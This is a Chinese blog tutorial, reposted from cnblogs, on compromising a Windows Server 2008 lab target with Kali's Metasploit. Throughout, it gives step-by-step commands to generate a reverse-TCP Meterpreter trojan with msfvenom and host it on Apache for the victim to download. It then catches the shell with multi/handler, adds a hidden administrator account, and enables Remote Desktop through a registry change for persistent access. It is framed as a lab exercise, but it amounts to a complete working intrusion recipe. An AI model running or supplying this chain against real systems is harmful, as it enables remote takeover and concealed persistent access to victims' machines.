本文转自：https://www.cnblogs.com/yankaohaitaiwei/p/11556921.html
一、kali及Metasploit
kali基于debin的数字取证系统，上面集成很多渗透测试工具，其前身是BT5 R3（BrackTrack），在信息搜集方面发挥很大作用。
Metasploit是一个综合利用工具，极大提高了攻击者的渗透效率；使用Ruby开发；使用非常方便，进入该工具的方式：在终端输入msfconsole；MSF依赖于Postgresql数据库，在使用MSF之前要开启该数据库
二、使用kali中的Metasploit生成木马，控制Windows系统
攻击者：kali 2019.3
靶机：Windows Server 2008 R2
1.首先要保证两个系统之间可以互相ping通
如不能ping通的话
（1）先检查windows和kali的防火墙关闭没有
windows防火墙关闭：系统和安全->Windows防火墙->关闭
kali防火墙关闭：安装：apt-get install ufw
关闭：ufw disable
开启：ufw enable
（2）如果还是不行的话就把虚拟机的网络适配器改为桥接模式
虚拟机->设置->网络适配器->桥接模式
2.生产木马，在攻击者终端操作
1 msfvenom -p windows/meterpreter/reverse_tcp lhost=kali的ip lport=5555 -f exe >/root/Desktop/evilshell.exe 2 -p 参数后跟上payload（载体），攻击成功之后，要做什么事情 3 lhost 后跟监听的IP 4 lport 后跟监听的端口 5 -f 后跟要生成后门文件的类型
- 如果安装的是中文的kali，就把Desktop换成桌面
3.将木马文件evilshell.exe拷贝到/var/www/html，把html目录下的其余文件删除，并开启apache服务（这一部是为了提供一个可以把木马文件下载的平台）
1 cp evilshell.exe /var/www/html 拷贝木马文件到/var/www/html 2 rm -f index.html 删除index.html 3 rm -f insex.nginx-debian.html 删除index.html
4.在靶机上打开浏览器，访问站点http://kali的ip，并下载木马文件，我这里下载到了桌面上，方便操作
5.开启postgresql服务，postgresql的端口号为5432，开启MSF（msfconsole的缩写）
1 /etc/init.d/postgresql status 查看postgresql服务的状态 2 /etc/init.d/postgresql start 开启postgresql服务 3 netstat -ntulp 查看端口
4 msfconsole 开启MSF
- metasploit v5.0.41-dev 版本
- exploits 开发利用，用来攻击某些服务、平台、系统等用到的工具
- payloads 攻击载荷载体，攻击成功之后要操作什么，通过payloads进行操作
6.加载exploits和payloads，查看该模块需要设置的参数
1 msf5>use exploit/multi/handler 选择exploits 2 msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 设置payload 3 show options 查看所需设置的参数
- 注：这里的路径要与上面生产木马的payload一致
7.根据上图的需求设置lhost和lport，这里的lhost和lport要和上面生产木马的命令中的lhost和lport一致
1 set lhost kali的IP 设置监听地址 2 set lport 5555 设置监听端口 3 run 或者exploit 运行攻击模块
8.在靶机中双击evilshell.exe（这一步是在靶机中诱导用户点击木马程序，也叫社会工程学攻击），这样在攻击者这里就可以得到靶机的shell（meterpreter）
1 shell 获取目标主机shell 2 ipconfig 测试是否能用，查看靶机的IP地址
- windows环境下中文乱码的解决办法：chcp 437
9.在靶机里加入一个隐藏用户（隐藏用户后面加$），提升隐藏用户的权限，方便我们后续的操作测试
1 net user host$ /add 添加隐藏用户host$ 2 net user 查看用户 3 net user host$ 密码 为host$用户设置密码 4 net localgroup administrators host$ /add 将host$用户加入到管理员组中，从而提升权限 5 net user host$ 查看host$用户信息
10.新开一个终端，使用远程桌面连接的靶机，进行操作
rdesktop 靶机的IP 使用远程桌面连接靶机
- 如上图所示，连接失败
解决方法：
方法1：打开上一个终端，开启2003终端服务，查看远程协助的端口是否开启
1 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 开启终端服务 2 netstat -ano|finder 3389 查看3389端口
方法2：打开控制面版-->系统-->远程设置，操作如图所示
- 重新连接靶机，连接成功，进入以下界面，是用隐藏用户登录靶机
11.打开靶机的dos命令窗口，若无法在开始中找到dos命令窗口，则按键盘上的开始键+R，在打开的运行中输入cmd，即开启dos命令窗口，添加一个新用户进行测试，添加成功证明渗透成功！
- 如图所示，拒绝访问
解决方法：在路径中C:Windowssystem32查找cmd.exe，右键cmd.exe，选择以管理员身份运行
（也就是用管理员身份运行dos窗口）
